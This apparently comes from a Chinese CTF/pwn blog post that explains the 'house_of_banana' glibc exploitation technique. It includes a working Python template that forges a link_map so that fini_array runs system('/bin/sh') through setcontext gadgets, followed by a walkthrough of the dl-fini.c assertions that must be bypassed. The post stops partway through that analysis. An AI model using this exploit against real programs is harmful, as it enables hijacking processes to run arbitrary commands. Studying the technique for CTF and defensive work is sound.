简介

house_of_banana是一种全版本通用的针对link_map的打法,函数在main函数/主函数正常返回时会调用到fini_array结构,漏洞代码就在其中,效果是可以执行一大段gadgets,破坏力比起apple2还要强,但是对能够控制的内存长度有要求,需要控制长度长达0x320+,而apple2可以控制在多段0x100内

打法模板

调试的时候最好把aslr关了,不过还得注意本地和远程ld偏移不一致的问题

关闭aslr进行调试 | hkbin的小博客~ (hkhanbing.github.io)

def house_of_banana(fake_addr, l_next, gadget, count):
    fake_content = p64(0) + p64(0) # l_addr keep zero to array
    fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
    fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
    fake_content += p64(0x8) # check 3
    fake_content += p64(0x8) # check 3
    fake_content += p64(0x8) # check 3
    fake_content = fake_content.ljust(0x48, b'\\x00')
    fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
    fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
    fake_content += gadget # reverse_gadget
    fake_content = fake_content.ljust(0x110, b'\\x00')
    fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
    fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
    fake_content = fake_content.ljust(0x31c, b'\\x00') # 0x31c / 0x314
    fake_content += p64(0x1c) # check 2 to l_init_called
    return fake_content

fake_addr = heap_base + 0x490
l_next = libc_base + (0x7ffff7ffe890 - 0x7ffff7c00000)
ret_addr = libc_base + 0x0000000000029cd6
setcontext = libc_base + libc.sym['setcontext']
bin_addr = libc_base + 0x00000000001d8698
gadget = p64(libc_base + libc.sym['system']) + p64(setcontext + 306) + p64(ret_addr) + p64(0)*12 + p64(bin_addr)

fake_content = house_of_banana(fake_addr + 0x10, l_next, gadget, 3)

打法原理/需要绕过的各种校验

源码分析

源码在ELF的dl-fini.c里,这里就不全贴了(在文章最后),挑校验来分析

第一部分需要绕过的校验

在代码的第80行

if (l == l->l_real)
	      {
		assert (i < nloaded);

		maps[i] = l;
		l->l_idx = i;
		++i;

		/* Bump l_direct_opencount of all objects so that they
		   are not dlclose()ed from underneath us.  */
		++l->l_direct_opencount;
	      }

这一部分需要保持l→l_real和_rtld_global._dl_ns._ns_loaded结构体一致,这是为了能够过掉后面的两个断言,这里的l自然就是_rtld_global._dl_ns._ns_loaded

整个link_map链表的入口就是_rtld_global._dl_ns._ns_loaded,然后再通过l→next来访问别的链表。

链表数量由这个决定:_rtld_global._dl_ns._ns_nloaded

原本默认是4个,而且都能通过l→l_real == l,所以我们也要让我们伪造的能通过

Untitled

第二部分校验

我们知道原来的四个链表是能通过这两个断言校验的